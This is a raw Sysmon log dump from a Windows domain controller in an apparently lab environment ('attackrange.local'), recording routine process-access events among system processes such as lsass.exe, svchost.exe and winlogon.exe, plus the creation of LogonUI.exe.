09:09:19.200{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000776Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.200{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000775Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BE-5F80-0C00-000000007F01}6041076C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000774Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BE-5F80-0C00-000000007F01}6041076C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000773Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BE-5F80-0C00-000000007F01}6041076C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000772Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000771Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BE-5F80-0C00-000000007F01}6041076C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000770Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000769Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BD-5F80-0800-000000007F01}724820C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000768Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BD-5F80-0900-000000007F01}800804C:\Windows\system32\winlogon.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\winlogon.exe+193b7|C:\Windows\system32\winlogon.exe+22617|C:\Windows\system32\winlogon.exe+2b287|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000767Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.190{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\System32\LogonUI.exe10.0.14393.0 (rs1_release.160715-1616)Windows Logon User Interface HostMicrosoft® Windows® Operating SystemMicrosoft Corporationlogonui.exe"LogonUI.exe" /flags:0x2 /state0:0xa3b98855 /state1:0x41c64e6dC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e71SystemMD5=B38DFCF985D8AE5B1A17C264981E61C7,SHA256=AA62D29803D52EC06CD27ED3124E034048F09606EB7342181913C9817C7B44C5,IMPHASH=A6F3A84D171E55B51A7343E05C8DFAC3{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\System32\winlogon.exewinlogon.exe 10341000x8000000000000000766Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+7f5d|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000765Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000764Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000763Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.184{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000762Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041052C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+796b|c:\windows\system32\lsm.dll+2387f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000761Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041052C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+2380c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000760Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041052C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+237c4|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000759Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BC-5F80-0500-000000007F01}644C:\Windows\system32\csrss.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+1a7a4|c:\windows\system32\lsm.dll+1aa31|C:\Windows\SYSTEM32\ntdll.dll+28761|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000758Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}604600C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0800-000000007F01}724C:\Windows\system32\csrss.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+1a7a4|c:\windows\system32\lsm.dll+1aa31|C:\Windows\SYSTEM32\ntdll.dll+28761|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000757Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041040C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0800-000000007F01}724C:\Windows\system32\csrss.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\lsm.dll+1ac1c|c:\windows\system32\lsm.dll+22cc9|c:\windows\system32\lsm.dll+bcaf|c:\windows\system32\lsm.dll+373fc|c:\windows\system32\lsm.dll+158f9|c:\windows\system32\lsm.dll+36198|c:\windows\system32\lsm.dll+3530a|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000756Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041040C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+1abf6|c:\windows\system32\lsm.dll+22cc9|c:\windows\system32\lsm.dll+bcaf|c:\windows\system32\lsm.dll+373fc|c:\windows\system32\lsm.dll+158f9|c:\windows\system32\lsm.dll+36198|c:\windows\system32\lsm.dll+3530a|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000755Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041040C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\lsm.dll+1abdc|c:\windows\system32\lsm.dll+22cc9|c:\windows\system32\lsm.dll+bcaf|c:\windows\system32\lsm.dll+373fc|c:\windows\system32\lsm.dll+158f9|c:\windows\system32\lsm.dll+36198|c:\windows\system32\lsm.dll+3530a|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000754Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041040C:\Windows\system32\svchost.exe{A5F018FF-28BC-5F80-0500-000000007F01}644C:\Windows\system32\csrss.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\lsm.dll+1ac1c|c:\windows\system32\lsm.dll+22cc9|c:\windows\system32\lsm.dll+bcaf|c:\windows\system32\lsm.dll+3735d|c:\windows\system32\lsm.dll+158f9|c:\windows\system32\lsm.dll+36198|c:\windows\system32\lsm.dll+3530a|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000753Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041040C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+1abf6|c:\windows\system32\lsm.dll+22cc9|c:\windows\system32\lsm.dll+bcaf|c:\windows\system32\lsm.dll+3735d|c:\windows\system32\lsm.dll+158f9|c:\windows\system32\lsm.dll+36198|c:\windows\system32\lsm.dll+3530a|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000752Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BE-5F80-0C00-000000007F01}6041040C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\system32\wininit.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\lsm.dll+1abdc|c:\windows\system32\lsm.dll+22cc9|c:\windows\system32\lsm.dll+bcaf|c:\windows\system32\lsm.dll+3735d|c:\windows\system32\lsm.dll+158f9|c:\windows\system32\lsm.dll+36198|c:\windows\system32\lsm.dll+3530a|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000751Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.122{A5F018FF-28BC-5F80-0200-000000007F01}448456C:\Windows\System32\smss.exe{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\system32\svchost.exe0x101441C:\Windows\SYSTEM32\ntdll.dll+a6a54|\SystemRoot\System32\smss.exe+3fee|\SystemRoot\System32\smss.exe+3b53|C:\Windows\SYSTEM32\ntdll.dll+28761|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000750Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.075{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25dfa|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000749Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 